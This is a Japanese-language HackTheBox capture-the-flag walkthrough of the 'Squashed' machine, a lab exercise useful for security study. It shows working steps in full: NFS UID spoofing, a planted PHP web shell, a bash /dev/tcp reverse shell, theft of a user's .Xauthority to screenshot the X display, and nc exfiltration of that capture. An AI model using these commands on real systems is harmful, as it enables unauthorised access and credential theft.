HackTheBox Squashed
Squashed
侵入
nmap
┌──(kali㉿kali)-[~/Desktop/Squashed]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.191 -oN nmap.log
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Built Better
111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 35147/tcp6 mountd
| 100005 1,2,3 52811/tcp mountd
| 100005 1,2,3 57869/udp mountd
| 100005 1,2,3 60327/udp6 mountd
| 100021 1,3,4 35593/tcp6 nlockmgr
| 100021 1,3,4 41981/tcp nlockmgr
| 100021 1,3,4 54539/udp6 nlockmgr
| 100021 1,3,4 55009/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl syn-ack ttl 63 3 (RPC #100227)
8000/tcp open http syn-ack ttl 63 SimpleHTTPServer 0.6 (Python 3.8.10)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: SimpleHTTP/0.6 Python/3.8.10
|_http-title: Directory listing for /
23060/tcp filtered unknown no-response
37589/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
41981/tcp open nlockmgr syn-ack ttl 63 1-4 (RPC #100021)
44933/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
52811/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
59897/tcp filtered unknown no-response
多くのポートを確認
web
特に情報は見当たらない
nfs
2049番ポートで nfs を発見したので、マウントができないか調べてみる
┌──(kali㉿kali)-[~/Desktop/Squashed]
└─$ showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross *
/var/www/html *
ross と html ディレクトリを発見
mount を実行し、ross から調査する
┌──(kali㉿kali)-[~/Desktop/Squashed]
└─$ sudo mount -t nfs 10.10.11.191:home/ross /mnt/ross -nolock
/mnt/ross にマウントされるようにする
┌──(kali㉿kali)-[/mnt/ross]
└─$ ls -la
total 68
drwxr-xr-x 14 1001 1001 4096 Dec 12 04:29 .
drwxr-xr-x 4 root root 4096 Dec 12 23:28 ..
lrwxrwxrwx 1 root root 9 Oct 20 22:24 .bash_history -> /dev/null
drwx------ 11 1001 1001 4096 Oct 21 23:57 .cache
drwx------ 12 1001 1001 4096 Oct 21 23:57 .config
drwxr-xr-x 2 1001 1001 4096 Oct 21 23:57 Desktop
drwxr-xr-x 2 1001 1001 4096 Oct 21 23:57 Documents
drwxr-xr-x 2 1001 1001 4096 Oct 21 23:57 Downloads
drwx------ 3 1001 1001 4096 Oct 21 23:57 .gnupg
drwx------ 3 1001 1001 4096 Oct 21 23:57 .local
drwxr-xr-x 2 1001 1001 4096 Oct 21 23:57 Music
drwxr-xr-x 2 1001 1001 4096 Oct 21 23:57 Pictures
drwxr-xr-x 2 1001 1001 4096 Oct 21 23:57 Public
drwxr-xr-x 2 1001 1001 4096 Oct 21 23:57 Templates
drwxr-xr-x 2 1001 1001 4096 Oct 21 23:57 Videos
lrwxrwxrwx 1 root root 9 Oct 21 22:07 .viminfo -> /dev/null
-rw------- 1 1001 1001 57 Dec 12 04:29 .Xauthority
-rw------- 1 1001 1001 2475 Dec 12 04:29 .xsession-errors
-rw------- 1 1001 1001 2475 Oct 31 19:13 .xsession-errors.old
複数のディレクトリを発見したが、特に気になる情報は見つからなかった
次は、html を調査する
┌──(kali㉿kali)-[~/Desktop/Squashed]
└─$ sudo mount -t nfs 10.10.11.191:var/www/html /mnt/Squashed/html -nolock
/mnt/Squashed/html を確認してみる
┌──(kali㉿kali)-[/mnt/Squashed]
└─$ cd html
cd: permission denied: html
確認しようとすると、permission で弾かれてしまった
┌──(kali㉿kali)-[/mnt/Squashed]
└─$ ls -l
total 4
drwxr-xr-- 5 2017 www-data 4096 Dec 13 00:30 html
権限を確認すると、ユーザIDが 2017 のユーザと www-data に権限があることがわかった
┌──(kali㉿kali)-[~/Desktop/Squashed]
└─$ sudo useradd hack
権限を得るために、ユーザを作成し ID を変更する
┌──(kali㉿kali)-[~/Desktop/Squashed]
└─$ sudo usermod -u 2017 hack
ユーザID の変更は usermod で行う
ここまで完了したら、hack にシェルを移し、html へのアクセスを試みる
hack@kali:/mnt/Squashed/html$ ls -l
total 44
drwxr-xr-x 2 hack www-data 4096 Dec 13 00:35 css
drwxr-xr-x 2 hack www-data 4096 Dec 13 00:35 images
-rw-r----- 1 hack www-data 32532 Dec 13 00:35 index.html
drwxr-xr-x 2 hack www-data 4096 Dec 13 00:35 js
成功した
これにより、ファイルを追加することができる
hack@kali:/mnt/Squashed/html$ cat hello.html
<html>
<head>
<meta charset="utf8">
</head>
<body>
<h1>Hello World!</h1>
</body>
</html>
試しに上記のような html ファイルを作成
うまく追加できたことがわかる
hack@kali:/mnt/Squashed/html$ echo "<?php phpinfo() ?>" > info.php
さらに、PHP が使用できるか試してみる
使用できた。
これにより、シェルの取得ができそう
alex としてのシェル
bash
まずは、php ファイルを用意
hack@kali:/mnt/Squashed/html$ echo -e '<?php\n system($_REQUEST['cmd']);\n?>' > cmd.php
いつものように、system による実行を試みる
cmd=bash -c 'bash -i >%26 /dev/tcp/10.10.14.2/5555 0>%261'
上記は実際に送るリクエスト
アンド(&)を %26 としないとうまく実行できない
┌──(kali㉿kali)-[~/Desktop/Squashed]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.191] 44526
alex@squashed:/var/www/html$ whoami
alex
実行すると、シェルを取得できる
user フラグ
alex@squashed:/home/alex$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
フラグ取得
権限昇格
Xauthority
ross のホームディレクトリを見てみると、Xauthority を発見
hack@kali:/mnt/ross$ ls -la
total 68
drwxr-xr-x 14 hack hack 4096 Dec 12 04:29 .
drwxr-xr-x 4 root root 4096 Dec 12 23:28 ..
-rw------- 1 hack hack 57 Dec 12 04:29 .Xauthority
lrwxrwxrwx 1 root root 9 Oct 20 22:24 .bash_history -> /dev/null
drwx------ 11 hack hack 4096 Oct 21 23:57 .cache
drwx------ 12 hack hack 4096 Oct 21 23:57 .config
drwx------ 3 hack hack 4096 Oct 21 23:57 .gnupg
drwx------ 3 hack hack 4096 Oct 21 23:57 .local
lrwxrwxrwx 1 root root 9 Oct 21 22:07 .viminfo -> /dev/null
-rw------- 1 hack hack 2475 Dec 12 04:29 .xsession-errors
-rw------- 1 hack hack 2475 Oct 31 19:13 .xsession-errors.old
drwxr-xr-x 2 hack hack 4096 Oct 21 23:57 Desktop
drwxr-xr-x 2 hack hack 4096 Oct 21 23:57 Documents
drwxr-xr-x 2 hack hack 4096 Oct 21 23:57 Downloads
drwxr-xr-x 2 hack hack 4096 Oct 21 23:57 Music
drwxr-xr-x 2 hack hack 4096 Oct 21 23:57 Pictures
drwxr-xr-x 2 hack hack 4096 Oct 21 23:57 Public
drwxr-xr-x 2 hack hack 4096 Oct 21 23:57 Templates
drwxr-xr-x 2 hack hack 4096 Oct 21 23:57 Videos
初めは何かわからず、名前的に怪しいなという感じだったので、調べてみた
Xauthority. The .Xauthority file can be found in each user’s home directory.
It is used to store credentials in cookies used by xauth for authentication
of XServer.
どうやら、Cookie に認証情報を保存するために使用され、Xserver を行うらしい
HackTricks にも情報が載っていた
xdpyinfo -display <ip>:<display>
xdpyinfo というコマンドを実行することで、接続の確認が行えるらしい
display は w を実行することで確認することができる
alex@squashed:/var/www/html$ w
13:49:06 up 17:57, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ross tty7 :0 Mon19 17:57m 2:01 0.03s /usr/libexec/gnome-session-binary --systemd --session=gnome
今回は、「:0」 であることがわかった
alex@squashed:/var/www/html$ xdpyinfo -display :0
No protocol specified
xdpyinfo: unable to open display ":0".
実際に実行してみたが、うまくいかなかった
Xauthority が必要である可能性が高い
alex@squashed:/var/www/html$ curl http://10.10.14.2:8000/.Xauthority -o /tmp/.Xauthority
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 57 100 57 0 0 97 0 --:--:-- --:--:-- --:--:-- 97
curl コマンドで、/tmp に Xauthority を作成(複製)する
ここまでくれば、再度 Xauthority を使って、xdpyinfo を実行する
alex@squashed:/tmp$ XAUTHORITY=/tmp/.Xauthority xdpyinfo -display :0
XAUTHORITY=/tmp/.Xauthority xdpyinfo -display :0
name of display: :0
version number: 11.0
vendor string: The X.Org Foundation
vendor release number: 12013000
X.Org version: 1.20.13
maximum request size: 16777212 bytes
motion buffer size: 256
bitmap unit, bit order, padding: 32, LSBFirst, 32
image byte order: LSBFirst
number of supported pixmap formats: 7
大量の出力が見られるが、特に重要な情報はない
ここで大切なのは、認証が成功したということ
alex@squashed:/tmp$ XAUTHORITY=/tmp/.Xauthority xwd -root -screen -silent -display :0 > /tmp/xauth.xwd
認証が成功したので、スクリーンショットを撮る
alex@squashed:/tmp$ cat /tmp/xauth.xwd | nc 10.10.14.2 7777
Kali 側で変換を行うので、nc でファイルを送る
┌──(kali㉿kali)-[~/Desktop/Squashed]
└─$ nc -lvnp 7777 > xauth.xwd
listening on [any] 7777 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.191] 56068
うまく送ることができた
┌──(kali㉿kali)-[~/Desktop/Squashed]
└─$ convert xauth.xwd xauth.png
convert を実行し、png へと変換
変換がうまくいったので、png ファイルを見てみる
パスワードが出力された
root としてのシェル
SSH
SSH の認証に使用できるか試してみる
┌──(kali㉿kali)-[~/Desktop/Squashed]
└─$ ssh root@10.10.11.191
root@10.10.11.191's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-131-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 13 Dec 2022 02:11:05 PM UTC
System load: 0.19
Usage of /: 73.8% of 5.79GB
Memory usage: 31%
Swap usage: 0%
Processes: 254
Users logged in: 1
IPv4 address for ens160: 10.10.11.191
IPv6 address for ens160: dead:beef::250:56ff:feb9:59bc
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Wed Oct 26 18:12:23 2022 from 10.10.14.40
root@squashed:~# whoami
root
権限昇格成功
root フラグ取得
root@squashed:~# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
攻略完了
所感
今回のボックスは難しかった。まず、Xauthority に関して知識が弱いという点がかなり厳しく調べてもなかなか分からない状況が続いた。しかし、今までとは少し違う攻略の仕方でもあったのでいい勉強になった。HackTheBox の評価が easy よりなのが衝撃すぎる
Discussion